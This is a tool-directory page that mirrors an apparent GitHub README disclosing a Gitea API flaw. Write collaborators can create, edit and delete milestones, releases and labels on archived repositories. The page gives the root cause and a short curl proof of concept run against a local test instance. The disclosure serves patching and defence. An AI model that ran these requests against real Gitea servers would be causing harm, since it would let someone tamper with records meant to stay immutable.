Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/thalewalan/cve-2026-116296
Authentication & AuthorizationVulnerability AnalysisExploitationWeb SecurityAPI Security
GitHubthalewalan/cve-2026-116296

CVE-2026-116296

Proof-of-concept and technical analysis for CVE-2026-116296, a Gitea archived-repository write-protection bypass allowing milestone, release, and label modification via API.

저장소 보기
120일 전아직 검토되지 않음
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-116296 — Gitea Archived Repository Write-Protection Bypass

CVE GHSA Severity CWE Affected Researcher


Discovered and reported by: Thinul Bopearachchi (@thalewalan) — BL4CK_KN1GHT & Yusufbek10 (independent discovery, same day)
Status: Patched — upgrade to Gitea v28.2.1 or later
Disclosure type: Responsible disclosure via GitHub Security Advisory


Summary

Gitea's repository archiving feature is intended to make a repository permanently read-only — preventing any modifications to its content or project metadata. However, in Gitea ≤ v28.2.0, users with write-collaborator access to an archived repository could still create, modify, and delete milestones, releases, and labels through the API, completely bypassing the archival immutability guarantee.

While PR #39839 (shipped in v28.2.0) added mustNotBeArchived middleware to protect Issues, Wikis, and Comments, it missed several other mutating API routes — leaving Milestones, Releases, and Labels unguarded. This is a classic "sibling gap" in an incomplete security patch.


Vulnerability Details

FieldValue
CVE IDCVE-2026-116296
GHSAGHSA-6h2f-c8jm-84hc
CWECWE-862: Missing Authorization
Affected versionsGitea ≤ v28.2.0
Patched versionv28.2.1+
SeverityHigh (8.1)
Attack vectorNetwork
Privileges requiredLow (write collaborator)
User interactionNone
ReportersThinul Bopearachchi — BL4CK_KN1GHT (@thalewalan) & Yusufbek10

Technical Root Cause

Gitea uses a middleware function mustNotBeArchived in routers/api/v1/api.go to block write operations on archived repositories. PR #39839, merged in v28.2.0, applied this middleware to Issues, Wikis, Comments, and some other routes — but completely omitted Milestones, Releases, and Labels.

Protected routes (v28.2.0) ✅

// Wiki — correctly protected
m.Patch(mustNotBeArchived, reqToken(), reqRepoWriter(unit.TypeWiki), ...)
m.Post("/new", reqToken(), mustNotBeArchived, reqRepoWriter(unit.TypeWiki), ...)

// Projects — correctly protected
m.Group("/projects", func() {
    addProjectRoutes(m, reqToken(), reqRepoWriter(unit.TypeProjects), mustNotBeArchived)
}, ...)

Unprotected routes (v28.2.0) ❌

// Milestones — NO mustNotBeArchived
m.Group("/milestones", func() {
    m.Combo("").Get(repo.ListMilestones).
        Post(reqToken(), reqRepoWriter(...), bind(...), repo.CreateMilestone)
    m.Combo("/{id}").Get(repo.GetMilestone).
        Patch(reqToken(), reqRepoWriter(...), bind(...), repo.EditMilestone).
        Delete(reqToken(), reqRepoWriter(...), repo.DeleteMilestone)
})

The mustNotBeArchived middleware simply checks ctx.Repo.Repository.IsArchived and returns 403 Forbidden if true. Its absence on milestone, release, and label routes means the check is never performed, and the database write proceeds regardless of archive status.


Impact

An attacker with write-collaborator access to an archived Gitea repository can:

  • Inject fake milestones — plant fabricated project milestones into an immutable historical archive, corrupting the project's documented timeline
  • Destroy real milestones — permanently delete milestones, orphaning all issues that referenced them and destroying project history context
  • Tamper with releases — modify or delete published release entries that users and downstream tools rely on
  • Modify labels — alter label definitions, breaking issue categorisation and filtering across the repository

Archived repositories are specifically used as audit-grade snapshots — compliance records, end-of-project archives, and immutable references. This bypass renders those guarantees void for all project management metadata.


Proof of Concept

⚠️ For educational purposes only. Test exclusively against repositories you own in an isolated environment.

Prerequisites

  • A Gitea instance ≤ v28.2.0
  • A repository that has been archived (Settings → Danger Zone → Archive)
  • An API token with write access to that repository

Setup

TARGET="http://localhost:3000"
TOKEN="<your-api-token>"
OWNER="victim_admin"
REPO="archived-target"

Step 1 — Confirm the repository is archived

curl -s "$TARGET/api/v1/repos/$OWNER/$REPO" \
  -H "Authorization: token $TOKEN" | jq '.archived'
# Expected: true

Step 2 — Create a milestone in the archived repo

curl -v -X POST "$TARGET/api/v1/repos/$OWNER/$REPO/milestones" \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"title": "Archive Bypass Test", "description": "Created via API after archive"}'

Expected response (vulnerable): HTTP/1.1 201 Created
Expected response (patched): HTTP/1.1 403 Forbidden

Step 3 — Edit the milestone

curl -v -X PATCH "$TARGET/api/v1/repos/$OWNER/$REPO/milestones/1" \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"title": "TAMPERED VIA API"}'

Expected response (vulnerable): HTTP/1.1 200 OK

Step 4 — Delete the milestone

curl -v -X DELETE "$TARGET/api/v1/repos/$OWNER/$REPO/milestones/1" \
  -H "Authorization: token $TOKEN"

Expected response (vulnerable): HTTP/1.1 204 No Content

All three operations succeed on an archived repository — demonstrating full create/edit/delete access to project metadata that should be immutable.


Timeline

DateEvent
Oct 23, 2026Vulnerability discovered and live-reproduced on Gitea v28.1.0
Oct 23, 2026Submitted to Gitea security team via GitHub Security Advisory
Oct 31, 2026Added as collaborator — advisory accepted
Nov 1, 2026CVE-2026-116296 assigned, credited as Reporter
(patch date)Fixed in Gitea v28.2.1
Nov 1, 2026Public disclosure

References

  • 🔒 GHSA-6h2f-c8jm-84hc — Official Advisory
  • 🔧 PR #39839 — Incomplete patch that introduced the sibling gap
  • 📦 Gitea Releases
  • 🐛 CWE-862: Missing Authorization

Disclaimer

This vulnerability was discovered through independent security research and reported responsibly to the Gitea maintainers via their private security advisory process. All testing was performed exclusively on isolated local lab environments. No production systems were accessed or harmed. This disclosure is published after the vulnerability has been accepted and credited by the Gitea security team.


Found independently by @thalewalan (BL4CK_KN1GHT) & Yusufbek10 · Reported Oct 23, 2026 · CVE-2026-116296

도구 다운로드

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 궁극의 OSINT 툴킷: 조사 그래프, 신뢰도 점수 산정, 별칭 패밀리, 지도, 타임라인 및 보고서. 49개 모듈, 400개 이상 사이트, API 키 불필요.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    Shadowserver 보고서를 MongoDB로 수집하고 이를 대화형 지도, 분석, 발견 사항, 권고 및 경영진 대시보드로 재생하는 CSIRT 플랫폼입니다.

    411
  • 4

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    328
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer는 오픈소스 권한 접근 관리(PAM) 플랫폼으로, DevOps 및 IT 팀이 웹 브라우저를 통해 SSH, RDP, Kubernetes, 데이터베이스 및 RemoteApp 엔드포인트에 주문형 보안 액세스를 제공합니다.

    314
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    웹 전반에서 7,700개 이상의 소셜 미디어 신원을 발견하고 매핑하는 AI 기반 OSINT 엔진

    275

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →